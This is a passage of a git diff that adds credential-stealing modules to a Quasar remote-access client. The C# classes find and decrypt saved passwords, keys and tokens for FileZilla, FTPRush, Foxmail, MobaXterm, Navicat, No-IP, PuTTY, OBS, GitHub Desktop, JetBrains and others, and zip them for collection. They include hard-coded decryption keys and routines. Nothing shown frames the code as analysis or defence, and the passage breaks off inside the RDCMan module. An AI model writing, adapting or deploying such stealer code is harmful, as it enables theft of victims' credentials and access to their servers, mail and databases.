"FTP/FTPNavigator/Hosts.txt"; + zip.AddFile(text7, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text7); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPRush.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPRush.cs new file mode 100755 index 0000000..621517d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPRush.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FTPRush : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Users\\" + Environment.UserName + "\\Documents\\FTPRush\\site.json"; + if (!File.Exists(text)) + { + return; + } + string input = File.ReadAllText(text); + Regex regex = new Regex("\"Server\"\\s*:\\s*\\{(.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex2 = new Regex("\"Host\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + Regex regex3 = new Regex("\"Port\"\\s*:\\s*(?\\d+)", RegexOptions.IgnoreCase); + Regex regex4 = new Regex("\"Username\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + Regex regex5 = new Regex("\"Base64Password\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPRush" + }; + foreach (Match item in regex.Matches(input)) + { + string value = item.Groups[1].Value; + Match match = regex2.Match(value); + if (!match.Success) + { + continue; + } + string value2 = match.Groups["host"].Value; + Match match2 = regex3.Match(value); + string text2 = (match2.Success ? match2.Groups["port"].Value : "21"); + Match match3 = regex4.Match(value); + string text3 = (match3.Success ? match3.Groups["user"].Value : ""); + Match match4 = regex5.Match(value); + string text4 = ""; + if (match4.Success && !string.IsNullOrEmpty(match4.Groups["b64"].Value)) + { + try + { + byte[] bytes = Convert.FromBase64String(match4.Groups["b64"].Value); + text4 = Encoding.UTF8.GetString(bytes); + } + catch + { + text4 = ""; + } + } + list.Add("Url: " + value2 + ":" + text2 + "\nUsername: " + text3 + "\nPassword: " + text4 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPRush/Hosts.txt"); + } + if (list.Count > 0) + { + string text5 = "FTP/FTPRush/Hosts.txt"; + zip.AddFile(text5, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text5); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FileZilla.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FileZilla.cs new file mode 100755 index 0000000..b364e1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FileZilla.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FileZilla : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\"; + string[] array = new string[2] + { + text + "recentservers.xml", + text + "sitemanager.xml" + }; + if (!File.Exists(array[0]) && !File.Exists(array[1])) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "FileZilla"; + List list = new List(); + string[] array2 = array; + foreach (string text2 in array2) + { + if (!File.Exists(text2)) + { + continue; + } + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(text2); + foreach (XmlNode item in xmlDocument.GetElementsByTagName("Server")) + { + string text3 = item?["Pass"]?.InnerText; + if (!string.IsNullOrEmpty(text3)) + { + string text4 = "ftp://" + item["Host"]?.InnerText + ":" + item["Port"]?.InnerText + "/"; + string text5 = item["User"]?.InnerText; + string text6 = Encoding.UTF8.GetString(Convert.FromBase64String(text3)); + list.Add("Url: " + text4 + "\nUsername: " + text5 + "\nPassword: " + text6); + } + } + string text7 = "FTP/FileZilla/" + Path.GetFileName(text2); + zip.AddFile(text7, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text7); + } + string text8 = "FTP/FileZilla/Hosts.txt"; + counterApplications.Files.Add(text8 ?? ""); + zip.AddTextFile(text8, string.Join("\n\n", list.ToArray())); + counter.Applications.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FoxMail.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FoxMail.cs new file mode 100755 index 0000000..8240db3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FoxMail.cs @@ -0,0 +1,202 @@ +using System; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class FoxMail : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command"); + if (registryKey == null) + { + return; + } + string text = registryKey.GetValue("") as string; + if (string.IsNullOrEmpty(text)) + { + return; + } + int num = text.LastIndexOf("Foxmail.exe", StringComparison.OrdinalIgnoreCase); + if (num < 0) + { + return; + } + string path = Path.Combine(text.Substring(0, num).Replace("\"", "").TrimEnd('\\', ' '), "Storage"); + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "FoxMail"; + string[] directories = Directory.GetDirectories(path, "*@*", SearchOption.TopDirectoryOnly); + foreach (string text2 in directories) + { + string fileName = Path.GetFileName(text2); + string text3 = Path.Combine(text2, "Accounts"); + if (!Directory.Exists(text3)) + { + continue; + } + string text4 = Path.Combine(text3, "Account.rec0"); + if (File.Exists(text4)) + { + string text5 = Path.Combine(Path.GetTempPath(), $"Account_{Guid.NewGuid():N}.rec"); + File.Copy(text4, text5, overwrite: true); + bool found; + int ver; + string text6 = ParseSecretFileAndGetPassword(text5, out found, out ver); + if (found) + { + string text7 = "Foxmail\\" + fileName + "\\Account.txt"; + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("E-Mail: " + fileName); + stringBuilder.AppendLine("Password: " + text6); + stringBuilder.AppendLine("FoxmailVersionDetected: " + ((ver == 0) ? "6.x" : "7.x or later")); + zip.AddTextFile(text7, stringBuilder.ToString()); + counterApplications.Files.Add(text4 + " => " + text7); + } + else + { + string text8 = "Foxmail\\" + fileName + "\\Account.rec0"; + zip.AddFile(text8, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text8); + } + File.Delete(text5); + } + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } + + private string ParseSecretFileAndGetPassword(string path, out bool found, out int ver) + { + found = false; + ver = 1; + byte[] array = File.ReadAllBytes(path); + if (array == null || array.Length == 0) + { + return string.Empty; + } + if (array[0] == 208) + { + ver = 0; + } + else + { + ver = 1; + } + string text = ""; + string value = ""; + for (int i = 0; i < array.Length; i++) + { + byte b = array[i]; + if (b > 32 && b < 127 && b != 61) + { + string text2 = text; + char c = (char)b; + text = text2 + c; + if (text.Equals("Account", StringComparison.Ordinal)) + { + value = ReadAsciiValue(array, ref i, ver); + text = ""; + } + else if (text.Equals("POP3Account", StringComparison.Ordinal)) + { + value = ReadAsciiValue(array, ref i, ver); + text = ""; + } + else if ((text.Equals("Password", StringComparison.Ordinal) || text.Equals("POP3Password", StringComparison.Ordinal)) && !string.IsNullOrEmpty(value)) + { + string strHash = ReadAsciiValue(array, ref i, ver); + string result = DecodePW(ver, strHash); + found = true; + return result; + } + } + else + { + text = ""; + } + } + return string.Empty; + } + + private string ReadAsciiValue(byte[] bits, ref int jx, int ver) + { + int i = jx + 9; + if (ver == 0) + { + i = jx + 2; + } + StringBuilder stringBuilder = new StringBuilder(); + for (; i < bits.Length && bits[i] > 32 && bits[i] < 127; i++) + { + stringBuilder.Append((char)bits[i]); + } + jx = i; + return stringBuilder.ToString(); + } + + private string DecodePW(int ver, string strHash) + { + string text = string.Empty; + int[] array; + int num; + if (ver == 0) + { + array = new int[8] { 126, 100, 114, 97, 71, 111, 110, 126 }; + num = Convert.ToInt32("5A", 16); + } + else + { + array = new int[8] { 126, 70, 64, 55, 37, 109, 36, 126 }; + num = Convert.ToInt32("71", 16); + } + int num2 = strHash.Length / 2; + int num3 = 0; + int[] array2 = new int[num2]; + for (int i = 0; i < num2; i++) + { + array2[i] = Convert.ToInt32(strHash.Substring(num3, 2), 16); + num3 += 2; + } + int[] array3 = new int[array2.Length]; + array3[0] = array2[0] ^ num; + if (array2.Length > 1) + { + Array.Copy(array2, 1, array3, 1, array2.Length - 1); + } + while (array2.Length > array.Length) + { + int[] array4 = new int[array.Length * 2]; + Array.Copy(array, 0, array4, 0, array.Length); + Array.Copy(array, 0, array4, array.Length, array.Length); + array = array4; + } + int[] array5 = new int[array2.Length]; + for (int j = 1; j < array2.Length; j++) + { + array5[j - 1] = array2[j] ^ array[j - 1]; + } + int[] array6 = new int[array5.Length]; + for (int k = 0; k < array5.Length - 1; k++) + { + if (array5[k] - array3[k] < 0) + { + array6[k] = array5[k] + 255 - array3[k]; + } + else + { + array6[k] = array5[k] - array3[k]; + } + text += (char)array6[k]; + } + return text; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/GithubGui.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/GithubGui.cs new file mode 100755 index 0000000..708c1e2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/GithubGui.cs @@ -0,0 +1,42 @@ +using System; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class GithubGui : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\GitHub Desktop\\Local Storage\\leveldb\\"; + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "GithubGui"; + string[] allowedExtensions = new string[2] { ".log", ".ldb" }; + Parallel.ForEach(Directory.GetFiles(path), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + string text3 = "GithubGui\\leveldb\\" + Path.GetFileName(file); + zip.AddFile(text3, File.ReadAllBytes(file)); + counterApplications.Files.Add(file + " => " + text3); + } + }); + string text = "C:\\Users\\" + Environment.UserName + "\\.gitconfig"; + if (File.Exists(text)) + { + string text2 = "GithubGui\\.gitconfig"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + if (counterApplications.Files.Count() > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/JetBrains.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/JetBrains.cs new file mode 100755 index 0000000..04937ed --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/JetBrains.cs @@ -0,0 +1,39 @@ +using System; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class JetBrains : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "JetBrains"); + if (!Directory.Exists(path)) + { + return; + } + string[] allowedExtensions = new string[2] { ".key", ".license" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "JetBrains"; + Parallel.ForEach(Directory.GetDirectories(path), delegate(string apps) + { + Parallel.ForEach(Directory.GetFiles(apps), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + string text = "JetBrains\\" + Path.GetFileName(apps) + "\\" + Path.GetFileName(file); + zip.AddFile(text, File.ReadAllBytes(file)); + counterApplications.Files.Add(file + " => " + text); + } + }); + }); + if (counterApplications.Files.Count() > 0) + { + counterApplications.Files.Add("JetBrains\\"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/MobaXterm.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/MobaXterm.cs new file mode 100755 index 0000000..a2f2a06 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/MobaXterm.cs @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class MobaXterm : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string entropy = (string)Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm").GetValue("SessionP"); + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\m"); + string name = registryKey.GetValueNames()[0]; + string base64Value = (string)registryKey.GetValue(name); + byte[] key = DecryptMobaXtermMasterKey(base64Value, entropy); + RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\C"); + string[] valueNames = registryKey2.GetValueNames(); + foreach (string text in valueNames) + { + string[] array = ((string)registryKey2.GetValue(text)).Split(new char[1] { ':' }, 2); + string text2 = array[0]; + string ciphertextBase = array[1]; + string text3 = DecryptCredential(key, ciphertextBase); + Console.WriteLine("[*] Name: " + text); + Console.WriteLine("[*] Username: " + text2); + Console.WriteLine("[*] Password: " + text3); + Console.WriteLine(); + } + } + + private byte[] DecryptMobaXtermMasterKey(string base64Value, string Entropy) + { + byte[] array = new byte[20] + { + 1, 0, 0, 0, 208, 140, 157, 223, 1, 21, + 209, 17, 140, 122, 0, 192, 79, 194, 151, 235 + }; + byte[] array2 = Convert.FromBase64String(base64Value); + byte[] array3 = new byte[array.Length + array2.Length]; + Buffer.BlockCopy(array, 0, array3, 0, array.Length); + Buffer.BlockCopy(array2, 0, array3, array.Length, array2.Length); + byte[] bytes = Encoding.UTF8.GetBytes(Entropy); + return ProtectedData.Unprotect(array3, bytes, DataProtectionScope.CurrentUser); + } + + private string DecryptCredential(byte[] key, string ciphertextBase64) + { + byte[] array = LenientBase64Decode(ciphertextBase64); + byte[] inputBuffer = new byte[16]; + byte[] array2 = new byte[16]; + using (Aes aes = Aes.Create()) + { + aes.Mode = CipherMode.ECB; + aes.Padding = PaddingMode.None; + aes.Key = key; + using ICryptoTransform cryptoTransform = aes.CreateEncryptor(); + cryptoTransform.TransformBlock(inputBuffer, 0, 16, array2, 0); + } + byte[] array3 = (byte[])array2.Clone(); + byte[] array4 = new byte[array.Length]; + using (Aes aes2 = Aes.Create()) + { + aes2.Mode = CipherMode.ECB; + aes2.Padding = PaddingMode.None; + aes2.Key = key; + using ICryptoTransform cryptoTransform2 = aes2.CreateEncryptor(); + byte[] array5 = new byte[16]; + for (int i = 0; i < array.Length; i++) + { + cryptoTransform2.TransformBlock(array3, 0, 16, array5, 0); + array4[i] = (byte)(array[i] ^ array5[0]); + Buffer.BlockCopy(array3, 1, array3, 0, 15); + array3[15] = array[i]; + } + } + return Encoding.Default.GetString(array4).TrimEnd(default(char)); + } + + private byte[] LenientBase64Decode(string s) + { + StringBuilder stringBuilder = new StringBuilder(s.Length); + foreach (char c in s) + { + switch (c) + { + case '-': + case '_': + stringBuilder.Append((c == '-') ? '+' : '/'); + continue; + default: + if ((c < 'a' || c > 'z') && (c < '0' || c > '9') && c != '+' && c != '/' && c != '=') + { + continue; + } + break; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + break; + } + stringBuilder.Append(c); + } + string text = stringBuilder.ToString(); + int num = text.Length % 4; + if (num != 0) + { + text += new string('=', 4 - num); + } + List list = new List(text.Length * 3 / 4); + for (int j = 0; j < text.Length; j += 4) + { + int[] array = new int[4]; + for (int k = 0; k < 4; k++) + { + char c2 = text[j + k]; + if (c2 == '=') + { + array[k] = -1; + } + else + { + array[k] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".IndexOf(c2); + } + } + int num2 = array[0]; + int num3 = array[1]; + int num4 = array[2]; + int num5 = array[3]; + byte item = (byte)((num2 << 2) | ((num3 & 0x30) >> 4)); + list.Add(item); + if (num4 != -1) + { + byte item2 = (byte)(((num3 & 0xF) << 4) | ((num4 & 0x3C) >> 2)); + list.Add(item2); + } + if (num5 != -1) + { + byte item3 = (byte)(((num4 & 3) << 6) | num5); + list.Add(item3); + } + } + return list.ToArray(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Navicat.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Navicat.cs new file mode 100755 index 0000000..f0ee9fd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Navicat.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Navicat : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Dictionary dictionary = new Dictionary + { + ["Navicat"] = "MySql", + ["NavicatMSSQL"] = "SQL Server", + ["NavicatOra"] = "Oracle", + ["NavicatPG"] = "pgsql", + ["NavicatMARIADB"] = "MariaDB" + }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Navicat"; + Navicat11Cipher navicat11Cipher = new Navicat11Cipher(); + foreach (string key in dictionary.Keys) + { + string text = "Software\\PremiumSoft\\" + key + "\\Servers"; + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey == null) + { + continue; + } + string text2 = dictionary[key]; + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text3 in subKeyNames) + { + RegistryKey registryKey2 = registryKey.OpenSubKey(text3); + if (registryKey2 != null) + { + object value = registryKey2.GetValue("Host"); + object value2 = registryKey2.GetValue("UserName"); + object value3 = registryKey2.GetValue("Pwd"); + string text4 = value.ToString(); + string text5 = value2.ToString(); + string ciphertext = value3.ToString(); + string text6 = navicat11Cipher.DecryptString(ciphertext); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("DatabaseType: " + text2); + stringBuilder.AppendLine("ConnectName: " + text3); + stringBuilder.AppendLine("Host: " + text4); + stringBuilder.AppendLine("UserName: " + text5); + stringBuilder.AppendLine("Password: " + text6); + string text7 = "Navicat\\" + text2 + "\\" + text3 + "\\connection.txt"; + zip.AddTextFile(text7, stringBuilder.ToString()); + counterApplications.Files.Add(text + "\\" + text3 + " => " + text7); + } + } + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Ngrok.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Ngrok.cs new file mode 100755 index 0000000..b21bf40 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Ngrok.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class Ngrok : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ngrok", "ngrok.yml"); + if (File.Exists(text)) + { + string text2 = "Ngrok\\ngrok.yml"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Ngrok"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/NoIp.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/NoIp.cs new file mode 100755 index 0000000..a03d1b1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/NoIp.cs @@ -0,0 +1,67 @@ +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class NoIp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "SOFTWARE\\Vitalwerks\\DUC\\v4"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey != null) + { + object value = registryKey.GetValue("CKey"); + object value2 = registryKey.GetValue("CID"); + object value3 = registryKey.GetValue("UserName"); + if (value != null || value2 != null || value3 != null) + { + string text2 = DecryptString((byte[])value2); + string text3 = DecryptString((byte[])value); + string text4 = DecryptString((byte[])value3); + string text5 = "NoIp\\Credentials.txt"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "NoIp"; + counterApplications.Files.Add(text + " => " + text5); + counterApplications.Files.Add(text5); + zip.AddTextFile(text5, "clientid: " + text2 + "\nlogin: " + text4 + "\npassword hash: " + text3); + counter.Applications.Add(counterApplications); + } + } + } + + private string DecryptString(byte[] message) + { + try + { + if (message == null) + { + return null; + } + byte[] array = DpApi.Decrypt(message); + if (array == null) + { + return null; + } + byte[] key = new byte[16] + { + 127, 238, 115, 104, 83, 74, 138, 240, 49, 50, + 224, 252, 103, 181, 23, 117 + }; + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.Mode = CipherMode.ECB; + tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7; + using ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor(); + byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length); + return Encoding.UTF8.GetString(bytes); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Obs.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Obs.cs new file mode 100755 index 0000000..86450d3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Obs.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class Obs : ITarget +{ + private static readonly Regex SettingsRe = new Regex("\"settings\"\\s*:\\s*\\{(?.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + private static readonly Regex ServiceRe = new Regex("\"service\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + private static readonly Regex KeyRe = new Regex("\"key\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "obs-studio", "basic", "profiles"); + if (!Directory.Exists(path)) + { + return; + } + string[] jsonFiles = new string[2] { "service.json", "service.json.bak" }; + ConcurrentBag infoLines = new ConcurrentBag(); + string[] directories = Directory.GetDirectories(path); + if (directories.Length == 0) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "OBS"; + Parallel.ForEach(directories, delegate(string profileDir) + { + string text2 = Path.GetFileName(profileDir) ?? profileDir; + string[] array = jsonFiles; + foreach (string text3 in array) + { + string text4 = Path.Combine(profileDir, text3); + if (File.Exists(text4)) + { + string text5 = File.ReadAllText(text4, Encoding.UTF8); + string text6 = "OBS\\" + text2 + "\\" + text3; + zip.AddFile(text6, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text6); + Match match = SettingsRe.Match(text5); + string input = (match.Success ? match.Groups["s"].Value : text5); + string value = ServiceRe.Match(input).Groups["v"].Value; + string value2 = KeyRe.Match(input).Groups["v"].Value; + if (!string.IsNullOrEmpty(value) || !string.IsNullOrEmpty(value2)) + { + infoLines.Add("Profile:" + text2 + " | File:" + text3 + " | Service:" + value + " | Key:" + value2); + } + } + } + }); + if (infoLines.Any()) + { + string text = "OBS\\OBS_ServiceKeys.txt"; + zip.AddTextFile(text, string.Join(Environment.NewLine, infoLines)); + counterApplications.Files.Add(text); + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PlayIt.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PlayIt.cs new file mode 100755 index 0000000..4c5a253 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PlayIt.cs @@ -0,0 +1,33 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class PlayIt : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PlayIt"; + Parallel.ForEach(ProcessWindows.FindFile("playit.toml"), delegate(string toml) + { + string text3 = "PlayIt\\playit" + RandomStrings.GenerateHashTag() + ".toml"; + zip.AddFile(text3, File.ReadAllBytes(toml)); + counterApplications.Files.Add(toml + " => " + text3); + }); + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "playit_gg", "playit.toml"); + if (File.Exists(text)) + { + string text2 = "PlayIt\\playit.toml"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PuTTY.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PuTTY.cs new file mode 100755 index 0000000..12ec9a1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PuTTY.cs @@ -0,0 +1,62 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class PuTTY : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PuTTY"; + Logs(zip, counterApplications); + Sessions(zip, counterApplications); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("PuTTY\\"); + counter.Applications.Add(counterApplications); + } + } + + private void Logs(InMemoryZip zip, Counter.CounterApplications counterApplications) + { + string text = "C:\\Program Files\\PuTTY\\putty.log"; + if (File.Exists(text)) + { + string text2 = "PuTTY\\putty.log"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + } + + private void Sessions(InMemoryZip zip, Counter.CounterApplications counterApplications) + { + string text = "Software\\SimonTatham\\PuTTY\\Sessions"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false); + if (registryKey == null) + { + return; + } + string[] array = registryKey.GetSubKeyNames().OrderBy((string x) => x, StringComparer.OrdinalIgnoreCase).ToArray(); + if (array.Length == 0) + { + return; + } + string[] array2 = array; + foreach (string text2 in array2) + { + using RegistryKey registryKey2 = registryKey.OpenSubKey(text2, writable: false); + if (registryKey2 != null) + { + string text3 = "PuTTY\\session_" + text2 + ".txt"; + string text4 = string.Join("\n", RegistryParser.ParseKey(registryKey2)); + zip.AddTextFile(text3, text4); + counterApplications.Files.Add(text + "\\" + text2 + " => " + text3); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/RDCMan.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/RDCMan.cs new file mode 100755 index 0000000..4d2ab02 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/RDCMan.cs @@ -0,0 +1,124 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class RDCMan : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Remote Desktop Connection Manager", "RDCMan.settings"); + if (!File.Exists(path)) + { + return; + } + List list = new List(); + XmlDocument xmlDocument = new XmlDocument(); + 